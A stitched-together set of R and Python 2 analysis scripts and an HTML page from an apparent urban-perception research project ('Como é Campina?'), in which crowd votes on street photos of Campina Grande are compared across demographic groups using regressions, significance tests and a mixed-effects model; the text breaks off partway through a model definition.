write.table(allData[, c("image_url", "V3.Jovem", "V3.Adulto", "residuals", "residualsPos", "g1q1","g1q2_left","g1q2_right","g1q3","g2q1","g2q2_left","g2q2_right","g2q3","g3q1_left","g3q1_right","g3q2_left","g3q2_right","g3q3_left","g3q3_right","g4q1","g4q2","g5q1","g5q2","g6q1_left","g6q1_right","g6q2_left","g6q2_right","g7q1","g7q2","g7q3_left","g7q3_right","g8q1","g8q2_left","g8q2_right","g8q3_left","g8q3_right","g9q1_left","g9q1_right","g10q1","g10q2","g10q3","g11q2_left","g11q2_right","g11q3_left","g11q3_right","g12q1","g12q2_left","g12q2_right","g12q3","g13q1_left","g13q1_right","g13q2_left","g13q2_right")], file="elem-jov-adu-data-agrad.dat", sep = "\t")
#Separando jovens e adultos
grupo1 <- dadosSub[(dadosSub$grupo == 'Jovem' & dadosSub$V1=='seguro?' ),]
grupo2 <- dadosSub[(dadosSub$grupo == 'Adulto' & dadosSub$V1=='seguro?'),]
temp <- rbind(grupo1, grupo2)
novosgrupo1grupo2 <- reshape(temp, timevar="grupo", idvar=c("V2", "V1", "diag", "hor", "vert", "red", "green", "blue", "bairro"), direction="wide")
#Desvio padrao
sd(novosgrupo1grupo2$V3.Jovem)
sd(novosgrupo1grupo2$V3.Adulto)
sd(novosgrupo1grupo2$V3.Jovem - novosgrupo1grupo2$V3.Adulto)
#Regressao
library(texreg)
regAgrad <- lm(V3.Jovem ~ V3.Adulto, data=novosgrupo1grupo2)
novosgrupo1grupo2$residuals <- regAgrad$residuals
novosgrupo1grupo2$residualsPos <- abs(regAgrad$residuals)
novosgrupo1grupo2 <- novosgrupo1grupo2[with(novosgrupo1grupo2, order(-residualsPos)), ]
sum(novosgrupo1grupo2$residuals)
sum(novosgrupo1grupo2$residuals**2)
plot(regAgrad$residuals, main = "Residual Plot Safeteness", ylab = "Residuals")
#Modelo
#sink("reg-jov-adu-seg.txt")
texreg(regAgrad)
summary(regAgrad)
#sink()
#Fotos, QScores e resíduos
write.table(novosgrupo1grupo2[, c("V2", "V3.Jovem", "V3.Adulto", "residuals", "residualsPos")], file="reg-jov-adu-data-seg.dat", sep = "\t")
#Fotos, QScores e elementos urbanos
colnames(novosgrupo1grupo2)[colnames(novosgrupo1grupo2) == "V2"] <- "image_url"
allData <- Reduce(function(x, y) merge(x, y, all=TRUE), list(novosgrupo1grupo2, groupedData1, groupedData2, groupedData3, groupedData3, groupedData4, groupedData5, groupedData6, groupedData7,groupedData8, groupedData9, groupedData10, groupedData11, groupedData12, groupedData13))
allData <- allData[with(allData, order(-residualsPos)), ]
write.table(allData[, c("image_url", "V3.Jovem", "V3.Adulto", "residuals", "residualsPos", "g1q1","g1q2_left","g1q2_right","g1q3","g2q1","g2q2_left","g2q2_right","g2q3","g3q1_left","g3q1_right","g3q2_left","g3q2_right","g3q3_left","g3q3_right","g4q1","g4q2","g5q1","g5q2","g6q1_left","g6q1_right","g6q2_left","g6q2_right","g7q1","g7q2","g7q3_left","g7q3_right","g8q1","g8q2_left","g8q2_right","g8q3_left","g8q3_right","g9q1_left","g9q1_right","g10q1","g10q2","g10q3","g11q2_left","g11q2_right","g11q3_left","g11q3_right","g12q1","g12q2_left","g12q2_right","g12q3","g13q1_left","g13q1_right","g13q2_left","g13q2_right")], file="elem-jov-adu-data-seg.dat", sep = "\t")
```
#Casados e Solteiros
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
#Separando casados e solteiros
grupo1 <- dadosSub[(dadosSub$grupo == 'Casado' & dadosSub$V1=='agradavel?' ),]
grupo2 <- dadosSub[(dadosSub$grupo == 'Solteiro' & dadosSub$V1=='agradavel?'),]
temp <- rbind(grupo1, grupo2)
novosgrupo1grupo2 <- reshape(temp, timevar="grupo", idvar=c("V2", "V1", "diag", "hor", "vert", "red", "green", "blue", "bairro"), direction="wide")
#Regressao
library(texreg)
regAgrad <- lm(V3.Casado ~ V3.Solteiro, data=novosgrupo1grupo2)
novosgrupo1grupo2$residuals <- regAgrad$residuals
novosgrupo1grupo2$residualsPos <- abs(regAgrad$residuals)
novosgrupo1grupo2 <- novosgrupo1grupo2[with(novosgrupo1grupo2, order(-residualsPos)), ]
plot(regAgrad$residuals, main = "Residual Plot Pleasantness", ylab = "Residuals")
#Modelo
#sink("reg-cas-sol-agrad.txt")
texreg(regAgrad)
summary(regAgrad)
#sink()
#Desvio padrao
sd(novosgrupo1grupo2$V3.Casado)
sd(novosgrupo1grupo2$V3.Solteiro)
sd(novosgrupo1grupo2$V3.Casado - novosgrupo1grupo2$V3.Solteiro)
sum(novosgrupo1grupo2$residuals)
sum(novosgrupo1grupo2$residuals**2)
#Fotos, QScores e resíduos
write.table(novosgrupo1grupo2[, c("V2", "V3.Casado", "V3.Solteiro", "residuals", "residualsPos")], file="reg-cas-sol-data-agrad.dat", sep = "\t")
#Fotos, QScores e elementos urbanos
colnames(novosgrupo1grupo2)[colnames(novosgrupo1grupo2) == "V2"] <- "image_url"
allData <- Reduce(function(x, y) merge(x, y, all=TRUE), list(novosgrupo1grupo2, groupedData1, groupedData2, groupedData3, groupedData3, groupedData4, groupedData5, groupedData6, groupedData7,groupedData8, groupedData9, groupedData10, groupedData11, groupedData12, groupedData13))
allData <- allData[with(allData, order(-residualsPos)), ]
write.table(allData[, c("image_url", "V3.Casado", "V3.Solteiro", "residuals", "residualsPos", "g1q1","g1q2_left","g1q2_right","g1q3","g2q1","g2q2_left","g2q2_right","g2q3","g3q1_left","g3q1_right","g3q2_left","g3q2_right","g3q3_left","g3q3_right","g4q1","g4q2","g5q1","g5q2","g6q1_left","g6q1_right","g6q2_left","g6q2_right","g7q1","g7q2","g7q3_left","g7q3_right","g8q1","g8q2_left","g8q2_right","g8q3_left","g8q3_right","g9q1_left","g9q1_right","g10q1","g10q2","g10q3","g11q2_left","g11q2_right","g11q3_left","g11q3_right","g12q1","g12q2_left","g12q2_right","g12q3","g13q1_left","g13q1_right","g13q2_left","g13q2_right")], file="elem-cas-sol-data-agrad.dat", sep = "\t")
#Separando casados e solteiros
grupo1 <- dadosSub[(dadosSub$grupo == 'Casado' & dadosSub$V1=='seguro?' ),]
grupo2 <- dadosSub[(dadosSub$grupo == 'Solteiro' & dadosSub$V1=='seguro?'),]
temp <- rbind(grupo1, grupo2)
novosgrupo1grupo2 <- reshape(temp, timevar="grupo", idvar=c("V2", "V1", "diag", "hor", "vert", "red", "green", "blue", "bairro"), direction="wide")
#Desvio padrao
sd(novosgrupo1grupo2$V3.Casado)
sd(novosgrupo1grupo2$V3.Solteiro)
sd(novosgrupo1grupo2$V3.Casado - novosgrupo1grupo2$V3.Solteiro)
#Regressao
library(texreg)
regAgrad <- lm(V3.Casado ~ V3.Solteiro, data=novosgrupo1grupo2)
novosgrupo1grupo2$residuals <- regAgrad$residuals
novosgrupo1grupo2$residualsPos <- abs(regAgrad$residuals)
novosgrupo1grupo2 <- novosgrupo1grupo2[with(novosgrupo1grupo2, order(-residualsPos)), ]
plot(regAgrad$residuals, main = "Residual Plot Safeteness", ylab = "Residuals")
sum(novosgrupo1grupo2$residuals)
sum(novosgrupo1grupo2$residuals**2)
#Modelo
#sink("reg-cas-sol-seg.txt")
texreg(regAgrad)
summary(regAgrad)
#sink()
#Fotos, QScores e resíduos
write.table(novosgrupo1grupo2[, c("V2", "V3.Casado", "V3.Solteiro", "residuals", "residualsPos")], file="reg-cas-sol-data-seg.dat", sep = "\t")
#Fotos, QScores e elementos urbanos
colnames(novosgrupo1grupo2)[colnames(novosgrupo1grupo2) == "V2"] <- "image_url"
allData <- Reduce(function(x, y) merge(x, y, all=TRUE), list(novosgrupo1grupo2, groupedData1, groupedData2, groupedData3, groupedData3, groupedData4, groupedData5, groupedData6, groupedData7,groupedData8, groupedData9, groupedData10, groupedData11, groupedData12, groupedData13))
allData <- allData[with(allData, order(-residualsPos)), ]
write.table(allData[, c("image_url", "V3.Casado", "V3.Solteiro", "residuals", "residualsPos", "g1q1","g1q2_left","g1q2_right","g1q3","g2q1","g2q2_left","g2q2_right","g2q3","g3q1_left","g3q1_right","g3q2_left","g3q2_right","g3q3_left","g3q3_right","g4q1","g4q2","g5q1","g5q2","g6q1_left","g6q1_right","g6q2_left","g6q2_right","g7q1","g7q2","g7q3_left","g7q3_right","g8q1","g8q2_left","g8q2_right","g8q3_left","g8q3_right","g9q1_left","g9q1_right","g10q1","g10q2","g10q3","g11q2_left","g11q2_right","g11q3_left","g11q3_right","g12q1","g12q2_left","g12q2_right","g12q3","g13q1_left","g13q1_right","g13q2_left","g13q2_right")], file="elem-cas-sol-data-seg.dat", sep = "\t")
```
#Baixa renda e Media renda
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
#Separando casados e solteiros
grupo1 <- dadosSub[(dadosSub$grupo == 'Baixa' & dadosSub$V1=='agradavel?' ),]
grupo2 <- dadosSub[(dadosSub$grupo == 'Media' & dadosSub$V1=='agradavel?'),]
temp <- rbind(grupo1, grupo2)
novosgrupo1grupo2 <- reshape(temp, timevar="grupo", idvar=c("V2", "V1", "diag", "hor", "vert", "red", "green", "blue", "bairro"), direction="wide")
#Desvio padrao
sd(novosgrupo1grupo2$V3.Baixa)
sd(novosgrupo1grupo2$V3.Media)
sd(novosgrupo1grupo2$V3.Baixa - novosgrupo1grupo2$V3.Media)
#Regressao
library(texreg)
regAgrad <- lm(V3.Baixa ~ V3.Media, data=novosgrupo1grupo2)
novosgrupo1grupo2$residuals <- regAgrad$residuals
novosgrupo1grupo2$residualsPos <- abs(regAgrad$residuals)
novosgrupo1grupo2 <- novosgrupo1grupo2[with(novosgrupo1grupo2, order(-residualsPos)), ]
sum(novosgrupo1grupo2$residuals)
sum(novosgrupo1grupo2$residuals**2)
plot(regAgrad$residuals, main = "Residual Plot Pleasantness", ylab = "Residuals")
#Modelo
#sink("reg-bai-med-agrad.txt")
texreg(regAgrad)
summary(regAgrad)
#sink()
#Fotos, QScores e resíduos
write.table(novosgrupo1grupo2[, c("V2", "V3.Baixa", "V3.Media", "residuals", "residualsPos")], file="reg-bai-med-data-agrad.dat", sep = "\t")
#Fotos, QScores e resíduos
write.table(novosgrupo1grupo2[, c("V2", "V3.Baixa", "V3.Media", "residuals", "residualsPos")], file="reg-cas-sol-data-seg.dat", sep = "\t")
#Fotos, QScores e elementos urbanos
colnames(novosgrupo1grupo2)[colnames(novosgrupo1grupo2) == "V2"] <- "image_url"
allData <- Reduce(function(x, y) merge(x, y, all=TRUE), list(novosgrupo1grupo2, groupedData1, groupedData2, groupedData3, groupedData3, groupedData4, groupedData5, groupedData6, groupedData7,groupedData8, groupedData9, groupedData10, groupedData11, groupedData12, groupedData13))
allData <- allData[with(allData, order(-residualsPos)), ]
write.table(allData[, c("image_url", "V3.Baixa", "V3.Media", "residuals", "residualsPos", "g1q1","g1q2_left","g1q2_right","g1q3","g2q1","g2q2_left","g2q2_right","g2q3","g3q1_left","g3q1_right","g3q2_left","g3q2_right","g3q3_left","g3q3_right","g4q1","g4q2","g5q1","g5q2","g6q1_left","g6q1_right","g6q2_left","g6q2_right","g7q1","g7q2","g7q3_left","g7q3_right","g8q1","g8q2_left","g8q2_right","g8q3_left","g8q3_right","g9q1_left","g9q1_right","g10q1","g10q2","g10q3","g11q2_left","g11q2_right","g11q3_left","g11q3_right","g12q1","g12q2_left","g12q2_right","g12q3","g13q1_left","g13q1_right","g13q2_left","g13q2_right")], file="elem-bai-med-data-agrad.dat", sep = "\t")
#Separando casados e solteiros
grupo1 <- dadosSub[(dadosSub$grupo == 'Baixa' & dadosSub$V1=='seguro?' ),]
grupo2 <- dadosSub[(dadosSub$grupo == 'Media' & dadosSub$V1=='seguro?'),]
temp <- rbind(grupo1, grupo2)
novosgrupo1grupo2 <- reshape(temp, timevar="grupo", idvar=c("V2", "V1", "diag", "hor", "vert", "red", "green", "blue", "bairro"), direction="wide")
#Desvio padrao
sd(novosgrupo1grupo2$V3.Baixa)
sd(novosgrupo1grupo2$V3.Media)
sd(novosgrupo1grupo2$V3.Baixa - novosgrupo1grupo2$V3.Media)
#Regressao
library(texreg)
regAgrad <- lm(V3.Baixa ~ V3.Media, data=novosgrupo1grupo2)
novosgrupo1grupo2$residuals <- regAgrad$residuals
novosgrupo1grupo2$residualsPos <- abs(regAgrad$residuals)
novosgrupo1grupo2 <- novosgrupo1grupo2[with(novosgrupo1grupo2, order(-residualsPos)), ]
sum(novosgrupo1grupo2$residuals)
sum(novosgrupo1grupo2$residuals**2)
plot(regAgrad$residuals, main = "Residual Plot Safeteness", ylab = "Residuals")
#Modelo
#sink("reg-bai-med-seg.txt")
texreg(regAgrad)
summary(regAgrad)
#sink()
#Fotos, QScores e resíduos
write.table(novosgrupo1grupo2[, c("V2", "V3.Baixa", "V3.Media", "residuals", "residualsPos")], file="reg-bai-med-data-seg.dat", sep = "\t")
#Fotos, QScores e elementos urbanos
colnames(novosgrupo1grupo2)[colnames(novosgrupo1grupo2) == "V2"] <- "image_url"
allData <- Reduce(function(x, y) merge(x, y, all=TRUE), list(novosgrupo1grupo2, groupedData1, groupedData2, groupedData3, groupedData3, groupedData4, groupedData5, groupedData6, groupedData7,groupedData8, groupedData9, groupedData10, groupedData11, groupedData12, groupedData13))
allData <- allData[with(allData, order(-residualsPos)), ]
write.table(allData[, c("image_url", "V3.Baixa", "V3.Media", "residuals", "residualsPos", "g1q1","g1q2_left","g1q2_right","g1q3","g2q1","g2q2_left","g2q2_right","g2q3","g3q1_left","g3q1_right","g3q2_left","g3q2_right","g3q3_left","g3q3_right","g4q1","g4q2","g5q1","g5q2","g6q1_left","g6q1_right","g6q2_left","g6q2_right","g7q1","g7q2","g7q3_left","g7q3_right","g8q1","g8q2_left","g8q2_right","g8q3_left","g8q3_right","g9q1_left","g9q1_right","g10q1","g10q2","g10q3","g11q2_left","g11q2_right","g11q3_left","g11q3_right","g12q1","g12q2_left","g12q2_right","g12q3","g13q1_left","g13q1_right","g13q2_left","g13q2_right")], file="elem-bai-med-data-seg.dat", sep = "\t")
```
<file_sep><div class="row-fluid">
<div class="span12">
<p>
<strong>Como é Campina?</strong> é uma aplicação que captura quais áreas da cidade são percebidas como mais seguras ou mais agradáveis. Com sua participação podemos classificar e entender mais sobre nossos ambientes urbanos. Estamos iniciando com a cidade de Campina Grande, Paraíba, Brasil.</p>
<p> Você será apresentado a um par de fotos e poderá responder a uma das questões abaixo: </p>
<ul>
<li>Que local lhe parece mais seguro?</li>
<li>Que local lhe parece mais agradável?</li>
</ul>
<p>Para responder à questão basta clicar na foto de sua preferência! Se você não conseguir escolher a foto que melhor responde à pergunta basta clicar no botão <strong>Igualmente!</strong>. </p>
<p>A cada 5 questões respondidas nós iremos lhe fazer algumas perguntas sobre seu perfil! Ajude-nos a conhecer um pouco mais sobre você.</p>
<p> Visite nossa <a href="https://www.facebook.com/comoecampina">Fan Page</a> no Facebook!
<hr>
<p> <strong>Time Atual</strong> </p>
<ul>
<li> <NAME> </li>
<li> <NAME> </li>
<li> <NAME> </li>
<li> <NAME> </li>
</ul>
</div>
</div>
<file_sep>import sys
from sets import Set
possibleIncomesOld = ["Baixa (at\u00e9 R$ 1.449,99)", "M\u00e9dia Baixa (R$ 1.450 a R$ 2.899,99)", "M\u00e9dia (R$ 2.900 a R$ 7.249,99)", "M\u00e9dia Alta (R$ 7.250 a R$ 14.499,99)", "Alta (R$ 14.500 ou mais)"]
possibleIncomesNew = ["baixa", "media baixa", "media", "media alta", "alta"]
def parseUserData(lines):
""" Reading user data """
feminine = Set([])
tasksFem = Set([])
#fSeg = Set([])
masculine = Set([])
tasksMasc = Set([])
#mSeg = Set([])
single = Set([])
tasksSingle = Set([])
#sSeg = Set([])
married = Set([])
tasksMarried = Set([])
#cSeg = Set([])
low = Set([])
tasksLow = Set([])
high = Set([])
tasksHigh = Set([])
young = Set([])
tasksYoung = Set([])
old = Set([])
tasksOld = Set([])
highSchool = Set([])
tasksHighSchool = Set([])
posGrad = Set([])
tasksPosGrad = Set([])
centro = Set([])
tasksCentro = Set([])
notCentro = Set([])
tasksNotCentro = Set([])
catole = Set([])
tasksCatole = Set([])
notCatole = Set([])
tasksNotCatole = Set([])
liberdade = Set([])
tasksLiberdade = Set([])
notLiberdade = Set([])
tasksNotLiberdade = Set([])
for line in lines:
data = line.split("|")
userID = int(data[0])
profile = data[1].split("+")
tasksIDAgra = eval(data[2])
tasksIDSeg = eval(data[3])
if len(data[1]) > 0:#TODO: Add gender based on name?
#Separating by age
if len(profile[0]) > 0:
age = int(profile[0].lower())
if age <= 24:
young.add(userID)
tasksYoung.update(tasksIDSeg)
tasksYoung.update(tasksIDAgra)
#elif age >= 35 and age <= 44:
elif age >= 25:
old.add(userID)
tasksOld.update(tasksIDSeg)
tasksOld.update(tasksIDAgra)
#Separating by sex
#print str(profile)+"\t"+str(len(data[1]))
if len(profile[1]) > 0:
sex = profile[1].lower()
if sex[0] == 'f':
feminine.add(userID)
tasksFem.update(tasksIDSeg)
tasksFem.update(tasksIDAgra)
else:
masculine.add(userID)
tasksMasc.update(tasksIDSeg)
tasksMasc.update(tasksIDAgra)
#Separating by income
if len(profile[2]) > 0:
income = profile[2]
if income == possibleIncomesOld[0] or income == possibleIncomesOld[1] or income == possibleIncomesNew[0] or income == possibleIncomesNew[1]:
low.add(userID)
tasksLow.update(tasksIDSeg)
tasksLow.update(tasksIDAgra)
elif income == possibleIncomesOld[2] or income == possibleIncomesOld[3] or income == possibleIncomesNew[2] or income == possibleIncomesNew[3]:
high.add(userID)
tasksHigh.update(tasksIDSeg)
tasksHigh.update(tasksIDAgra)
#Separating by education degree
if len(profile[3]) > 0:
education = profile[3]
if education[0].lower() == 'e':
highSchool.add(userID)
tasksHighSchool.update(tasksIDSeg)
tasksHighSchool.update(tasksIDAgra)
elif education[0].lower == 'm' or education[0].lower() == 'd':
posGrad.add(userID)
tasksPosGrad.update(tasksIDSeg)
tasksPosGrad.update(tasksIDAgra)
#Separating by relationship
if len(profile[6]) > 0:
rel = profile[6].lower()
if rel[0] == 's':
single.add(userID)
tasksSingle.update(tasksIDSeg)
tasksSingle.update(tasksIDAgra)
elif rel[0] == 'c':
married.add(userID)
tasksMarried.update(tasksIDSeg)
tasksMarried.update(tasksIDAgra)
#Separating by known places
if len(profile[7]) > 0:
places = profile[7].lower()
if len(places) > 0:
if "cen" in places.strip():
centro.add(userID)
tasksCentro.update(tasksIDSeg)
tasksCentro.update(tasksIDAgra)
else:
notCentro.add(userID)
tasksNotCentro.update(tasksIDSeg)
tasksNotCentro.update(tasksIDAgra)
if "lib" in places.strip():
liberdade.add(userID)
tasksLiberdade.update(tasksIDSeg)
tasksLiberdade.update(tasksIDAgra)
else:
notLiberdade.add(userID)
tasksNotLiberdade.update(tasksIDSeg)
tasksNotLiberdade.update(tasksIDAgra)
if "cat" in places.strip():
catole.add(userID)
tasksCatole.update(tasksIDSeg)
tasksCatole.update(tasksIDAgra)
else:
notCatole.add(userID)
tasksNotCatole.update(tasksIDSeg)
tasksNotCatole.update(tasksIDAgra)
singleFile = open("solteiro.dat", "w")
#singleFile.write(str(list(tasksSingle.intersection(tasksMarried)))+"\n")
singleFile.write("[]\n")
for userID in single:
singleFile.write(str(userID)+"\n")#FIXME: add tasksID
singleFile.close()
marriedFile = open("casado.dat", "w")
#marriedFile.write(str(list(tasksSingle.intersection(tasksMarried)))+"\n")
marriedFile.write("[]\n")
for userID in married:
marriedFile.write(str(userID)+"\n")
marriedFile.close()
femFile = open("feminino.dat", "w")
#femFile.write(str(list(tasksFem.intersection(tasksMasc)))+"\n")
femFile.write("[]\n")
for userID in feminine:
femFile.write(str(userID)+"\n")
femFile.close()
masFile = open("masculino.dat", "w")
#masFile.write(str(list(tasksFem.intersection(tasksMasc)))+"\n")
masFile.write("[]\n")
for userID in masculine:
masFile.write(str(userID)+"\n")
masFile.close()
youngFile = open("jovem.dat", "w")
# youngFile.write(str(list(tasksYoung.intersection(tasksOld)))+"\n")
youngFile.write("\n")
for userID in young:
youngFile.write(str(userID)+"\n")
youngFile.close()
oldFile = open("adulto.dat", "w")
# oldFile.write(str(list(tasksYoung.intersection(tasksOld)))+"\n")
oldFile.write("[]\n")
for userID in old:
oldFile.write(str(userID)+"\n")
oldFile.close()
lowFile = open("baixa.dat", "w")
#lowFile.write(str(list(tasksLow.intersection(tasksHigh)))+"\n")
lowFile.write("[]\n")
for userID in low:
lowFile.write(str(userID)+"\n")
lowFile.close()
highFile = open("media.dat", "w")
# highFile.write(str(list(tasksLow.intersection(tasksHigh)))+"\n")
highFile.write("[]\n")
for userID in high:
highFile.write(str(userID)+"\n")
highFile.close()
highSchoolFile = open("medio.dat", "w")
# highSchoolFile.write(str(list(tasksHighSchool.intersection(tasksPosGrad)))+"\n")
highSchoolFile.write("[]\n")
for userID in highSchool:
highSchoolFile.write(str(userID)+"\n")
highSchoolFile.close()
posGradFile = open("posgrad.dat", "w")
# posGradFile.write(str(list(tasksHighSchool.intersection(tasksPosGrad)))+"\n")
posGradFile.write("[]\n")
for userID in high:
posGradFile.write(str(userID)+"\n")
posGradFile.close()
centroFile = open("centro.dat", "w")
centroFile.write("[]\n")
for userID in centro:
centroFile.write(str(userID)+"\n")
centroFile.close()
notCentroFile = open("notcentro.dat", "w")
notCentroFile.write("[]\n")
for userID in notCentro:
notCentroFile.write(str(userID)+"\n")
notCentroFile.close()
liberdadeFile = open("liberdade.dat", "w")
liberdadeFile.write("[]\n")
for userID in liberdade:
liberdadeFile.write(str(userID)+"\n")
liberdadeFile.close()
notLiberdadeFile = open("notliberdade.dat", "w")
notLiberdadeFile.write("[]\n")
for userID in notLiberdade:
notLiberdadeFile.write(str(userID)+"\n")
notLiberdadeFile.close()
catoleFile = open("catole.dat", "w")
catoleFile.write("[]\n")
for userID in catole:
catoleFile.write(str(userID)+"\n")
catoleFile.close()
notCatoleFile = open("notcatole.dat", "w")
notCatoleFile.write("[]\n")
for userID in notCatole:
notCatoleFile.write(str(userID)+"\n")
notCatoleFile.close()
def createOneFileWithAllProfiledUsers(inputFiles):
usersWithProfile = Set([])
for userFile in inputFiles:
dataFile = open(userFile, 'r')
lines = dataFile.readlines()[1:]#Removing tasks list in the beginning of the file
for line in lines:
usersWithProfile.add(line.strip(" \n"))
usersWithProfileFile = open("usersWProfile.dat", "w")
usersWithProfileFile.write("[]\n")
for userID in usersWithProfile:
usersWithProfileFile.write(str(userID)+"\n")
if __name__ == "__main__":
if len(sys.argv) < 2:
print "Uso: <arquivo com ids dos usuarios, das tarefas e perfis dos usuarios> ou <serie de arquivos com ids de usuarios>"
sys.exit(1)
if len(sys.argv) == 2: #Parse input file with ids, tasks and profiles to separte per group!
dataFile = open(sys.argv[1], 'r')
lines = dataFile.readlines()
dataFile.close()
usersTasks = parseUserData(lines)
else: #Mix files with users ids into only one file
createOneFileWithAllProfiledUsers(sys.argv[1:])
<file_sep># coding=utf-8
# This script receives a file containing QScores, rgb and lines data and convert it to SVM input format
import sys
if __name__ == "__main__":
if len(sys.argv) < 2:
print "Uso: <arquivo com ruas, qscore, rgb e linhas>"
sys.exit(1)
dataFile = open(sys.argv[1], "r")
lines = dataFile.readlines()
for line in lines[1:]:
data = line.split("\t")
qscore = data[1].strip()
red = data[2].strip()
green = data[3].strip()
blue = data[4].strip()
diag = data[5].strip()
hor = data[6].strip()
vert = data[7].strip()
print qscore+"\t"+"1:"+red+"\t"+"2:"+green+"\t"+"3:"+blue+"\t"+"4:"+diag+"\t"+"5:"+hor+"\t"+"6:"+vert
<file_sep>#!/bin/Rscript
# Calculates the comparison tests (t-test and mann-whitney) for a set of two data sets
args <- commandArgs(trailingOnly = TRUE)
data1 = read.table(args[1])
data2 = read.table(args[2])
file1 = args[3]
file2 = args[4]
color = args[5]
print(">> Equal")
wilcox.test(data1$V3, data2$V3, alternative="t", paired=F)
t.test(data1$V3, data2$V3, alternative="t")
print(">> Less")
wilcox.test(data1$V3, data2$V3, alternative="l", paired=F)
t.test(data1$V3, data2$V3, alternative="l")
print(">> Greater")
wilcox.test(data1$V3, data2$V3, alternative="g", paired=F)
t.test(data1$V3, data2$V3, alternative="g")
#Creating boxplots of qscores per district
pdf(paste("boxplot", file1, ".pdf"), paper="special")
boxplot(data1$V3, main=paste("Boxplot", file1), col=color)
pdf(paste("boxplot", file2, ".pdf"), paper="special")
boxplot(data2$V3, main=paste("Boxplot", file2), col=color)
#Verifying if data is normal
pdf(paste("norm", file1, "-", file2, ".pdf"), paper="special")
par(mfrow=c(1,2))
qqnorm(data1$V3)
qqline(data1$V3)
qqnorm(data2$V3)
qqline(data2$V3)
<file_sep># coding=utf-8
import sys
if __name__ == "__main__":
if len(sys.argv) < 1:
print "Uso: <arquivo com dados>"
sys.exit(1)
dataFile = open(sys.argv[1], 'r')
outputFile = open("question.html", 'w')
lines = dataFile.readlines()
counter = 0
outputFile.write("<table>\n")
outputFile.write("<tr>\n")
for line in lines[1:]:
data = line.split(" ")
question = data[1].strip(' \t\n\r')
photo = data[2].strip(' \t\n\r')[1:-1]
qscore = data[3].strip(' \t\n\r')
if "almirante" in photo:
folder = "http://socientize.lsd.ufcg.edu.br/almirante"
elif "rodrigues" in photo:
folder = "http://socientize.lsd.ufcg.edu.br/rodrigues"
else:
folder = "http://socientize.lsd.ufcg.edu.br/floriano"
outputFile.write("<td><img src=\""+folder+"/"+photo+"\" width=\"400\" height=\"300\"></td>\n")
outputFile.write("<td>"+photo + " " + qscore+"</td>\n")
counter += 1
if counter % 3 == 0:
outputFile.write("</tr>\n")
outputFile.write("<tr>\n")
outputFile.write("</tr>\n")
outputFile.write("</table>")
dataFile.close()
outputFile.close()
<file_sep>require(gmodels)
require(vcd)
require(lme4)
library(nlme)
library(caret)
library(pscl)
library(DT)
library(ggplot2)
theme_set(theme_bw())
library(GGally)
library(dplyr, warn.conflicts = F)
library(broom)
library(car)
library(readr)
raw_data = read_delim(
"classifier//classifier_input_wodraw.dat",
delim = "\t",
col_types = cols(
.default = col_double(),
row = col_integer(),
choice = col_character(),
question = col_character(),
photo1 = col_character(),
photo2 = col_character(),
choice = col_integer(),
userID = col_integer(),
gender = col_character(),
age = col_character(),
income = col_character(),
education = col_character(),
city = col_character(),
marital = col_character(),
graffiti1 = col_character(),
bairro1 = col_character(),
graffiti2 = col_character(),
bairro2 = col_character()
)
)
data = raw_data %>%
mutate( # Recode
income = if_else(is.na(income), "media", income),
age_cat = if_else(as.integer(age) >= 25 | is.na(age), "adulto", "jovem"),
inc_cat = if_else(income %in% c("baixa", "media baixa"),
"baixa",
"media"), # substituirá os NA
choice = if_else(choice == "1", "0",
if_else(choice == "-1", "1", choice)),
bair_cat = if_else(bairro1 == bairro2, "mesmo",
paste0(bairro1, "_", bairro2))
) %>%
mutate_at( # to factor
vars(income, age_cat, inc_cat, choice, bair_cat, marital, gender),
as.factor) %>%
mutate( # relevel
bair_cat = relevel(bair_cat, "mesmo"),
marital = relevel(marital, "solteiro"),
income = relevel(income, "baixa"),
age_cat = relevel(age_cat, "jovem"),
gender = relevel(gender, "feminino"),
inc_cat = relevel(inc_cat, "baixa")
)
# Create diff features
data = data %>%
mutate(
d_swidth = street_wid1 - street_wid2,
d_mvcars = mov_cars1 - mov_cars2,
d_pcars = park_cars1 - park_cars2,
d_trees = trees1 - trees2,
d_mvciclyst = mov_ciclyst1 - mov_ciclyst2,
d_lands = landscape1 - landscape2,
d_bid = build_ident1 - build_ident2,
d_bheig = log2(build_height1 + 1) - log2(build_height2 + 1),
d_dbuild = diff_build1 - diff_build2,
d_people = people1 - people2,
d_graff = (graffiti1 == "Yes") - (graffiti2 == "Yes")
)
agrad <- filter(data, !(question %in% c("seguro?", "seguro"))) #%>% mutate_at(vars(40:50), scale)
seg <- filter(data, (question %in% c("seguro?", "seguro"))) #%>% mutate_at(vars(40:50), scale)
create_random_model_w_interact = function(the_data, optimizer_to_use=""){
if ( nchar(optimizer_to_use) == 0 ){
return( glmer( choice ~ d_swidth + d_mvcars + d_pcars + d_trees + d_mvciclyst + d_lands + d_bid + d_bheig + d_dbuild + d_people + d_graff + bair_cat +
age_cat:(d_swidth + d_mvcars + d_pcars + d_trees + d_mvciclyst + d_lands + d_bid + d_bheig + d_dbuild + d_people + d_graff) +
gender:(d_swidth + d_mvcars + d_pcars + d_trees + d_mvciclyst + d_lands + d_bid + d_bheig + d_dbuild + d_people + d_graff) +
inc_cat:(d_swidth + d_mvcars + d_pcars + d_trees + d_mvciclyst + d_lands + d_bid + d_bheig + d_dbuild + d_people + d_graff) + (1|userID), data = the_data, family=binomial() ) )
}else{
return( glmer( choice ~ d_swidth + d_mvcars + d_pcars + d_trees + d_mvciclyst + d_lands + d_bid + d_bheig + d_dbuild + d_people + d_graff + bair_cat +
age_cat:(d_swidth + d_mvcars + d_pcars + d_trees + d_mvciclyst + d_lands + d_bid + d_bheig + d_dbuild + d_people + d_graff) +
gender:(d_swidth + d_mvcars + d_pcars + d_trees + d_mvciclyst + d_lands + d_bid + d_bheig + d_dbuild + d_people + d_graff) +
inc_cat:(d_swidth + d_mvcars + d_pcars + d_trees + d_mvciclyst + d_lands + d_bid + d_bheig + d_dbuild + d_people + d_graff) + (1|userID), data = the_data, family=binomial(), control = glmerControl(optimizer=c(optimizer_to_use) ) ) )#optimizers="bobyqa", "Nelder_Mead"
}
}
create_random_model_w_interact_scaled = function(the_data, optimizer_to_use=""){
if ( nchar(optimizer_to_use) == 0 ){
return( glmer( choice ~ scale(d_swidth) + scale(d_mvcars) + scale(d_pcars) + scale(d_trees) + scale(d_mvciclyst) + scale(d_lands) + scale(d_bid) + scale(d_bheig) + scale(d_dbuild) + scale(d_people) + scale(d_graff) + bair_cat +
